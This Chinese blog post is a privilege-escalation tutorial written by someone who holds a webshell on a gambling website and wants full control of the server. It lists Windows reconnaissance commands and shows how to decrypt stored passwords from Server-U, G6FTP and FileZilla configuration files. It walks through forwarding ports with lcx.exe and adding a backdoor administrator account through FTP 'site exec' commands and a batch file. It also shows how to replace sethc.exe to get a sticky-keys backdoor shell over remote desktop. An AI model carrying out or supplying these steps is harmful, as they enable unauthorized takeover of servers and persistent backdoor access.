0, 起因, 由于前几天拿了一个菠菜站的 webshell, 但是只有 iis 权限, 执行无法创建用户等操作, 更无法对整个服务器进行控制了, 于是此时便需要提权了, 对于一个刚刚入门的小白来说, 此刻真正意识到了提权的重要性, 于是便开始学习提取相关知识, 以拿下该菠菜的站点.
提权前的准备工作
1, 通常来说, 不同的脚本所处的权限是不一样的. 这就意味着, 如果该站点支持权限更高的脚本, 我们可以上传该权限更高的脚本的大马, 进而拿到更高的权限.
asp/PHP 通常为匿名权限 (网络服务权限)
aspx 通常为 user 权限
jsp 通常为系统权限
2, 提权中常常也需要进行信息收集:
内外网
服务器系统和版本位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端口情况
所支持的脚本情况
............................... 等等
3,Windows 信息收集中常用的命令:
ipconfig /all 查看当前 ip
net user 查看当前服务器账号情况
netstat -ano 查看当前服务器端口开放情况
ver 查看当前服务器操作系统
systeminfo 查看当前服务器配置信息 (补丁情况)
tasklist /svc 查看当前服务器进程情况
taskkill -pid pid 号 结束某个 pid 号的进程
taskkill /im qq.exe /f 结束 qq 进程, 如果对命令不清楚, 可以使用 taskkill /? 进行查看
net user v01cano v01cano /add 添加一个用户名为 v01cano 密码为 v01cano 的用户
net localgroup administrators v01cano /add 将用户 v01cano 添加到管理员组
whoami 查看当前操作用户 (当前权限)
4,FTP 软件提权:
常见的 FTP 软件有 server-u,g6ftp,filezilla.
server-u 提权
Server -u 的默认端口为 43958
server-u 提权常用方法, 一:
1, 查看默认安装目录下的 ServUDaemon.INI 文件, 进而查看用户名和密码, 将密码去 cmd5.com 找到对应的 server-u 的解密方式进行解密.
2, 登入 ftp, 执行如下命令, 创建用户, 并且加入到管理员组.
- quote site exec.NET user v01cano v01cano /add
- quote site exec.NET localgroup administrators v01cano /add
server-u 提权常用方法二:
1, 使用大马直接创建 ftp 账号, 使用 ftp 账号登入 ftp.
2, 然后再执行如下命令, 创建系统账号.
- quote site exec.NET user v01cano v01cano /add
- quote site exec.NET localgroup administrators v01cano /add
server-u 提权常用方法三:
server-u 的管理员账号权限较大, 相当于系统权限, 可以通过管理员账号直接创建用户, 并且加入到管理员组.
g6ftp 提权:
科普: g6ftp 的默认端口为 8021, 只侦听在 127.0.0.1 的 8021 端口上, 所以无法从外部直接访问, 需要进行端口转发.
1, 查找管理配置文件 Remote.INI, 将 administrator 管理密码解密. 解密得到 administrator 的管理员密码为 123456
2, 首先进行查找该网站的可读可写目录, 然后上传 cmd.exe 和 lcx.exe 到该目录下.
3, 查看网站根目录的权限得知, 此处网站的根目录可读可写, 直接上传到网站跟目录即可. 上传成功后, 即可直接通过 cmd.exe 调用 lcx.exe 命令, 查看 lcx.exe 的用法.
然后通过如下命令转发端口, 将 127.0.0.1 的 8021 端口通过 8427 端口转发出去:
4, 转发成功后, 通过 g6ftp 软件进行连接, 以管理员用户登入
连接成功:
5, 创建用户并设置权限和执行批处理文件
创建用户: 右键, 选择 new user
选择根目录为 c 盘:
赋予全部权限:
然后将批处理文件 adduser.bat 上传到目标站点中:
adduser.bat 中的文件内容为: 即新建一个用户名和密码均为 v01cano 的用户, 并且加入到管理员组中.
- net user v01cano v01cano /add
- net localgroup administrators v01cano /add
然后在 g6ftp 软件中加入批处理命令:
然后在控制台登录 ftp, 并且执行所加入的批处理命令: 命令成功执行:
在目标机上查看, 新建用户成功, 并且成功加入到了管理员组.
提权成功.
filezilla 提权:
科普: filezilla 默认端口为 14147 端口
1, 找到默认安装目录下面有两个敏感文件 filezillaserver.xml(包含了用户信息) 和 filezillaserver interface.xml(包含了管理信息), 查看用户名和密码:
2, 进行端口转发, 方法类似 g6ftp:
3, 使用 filezilla 软件进行远程连接:
4, 新建用户并设置用户的根目录.
5, 打开 filezilla 客户端软件, 使用刚刚新建的用户名和密码进行连接:
6, 连接成功以后, 替换 c:/Windows/system32/sethc.exe 文件.
7, 直接远程连接即可, win+r 输入 mstsc 即可打开远程桌面. 输入靶机 ip 进行连接: 不需要输入用户名和密码, 直接连续按下 5 次 shift 键, 即可以管理员的身份打开 cmd, 然后创建用户, 或者直接输入 explorer.exe, 进入靶机. 远控成功.
来源: https://www.cnblogs.com/v01cano/p/10310822.html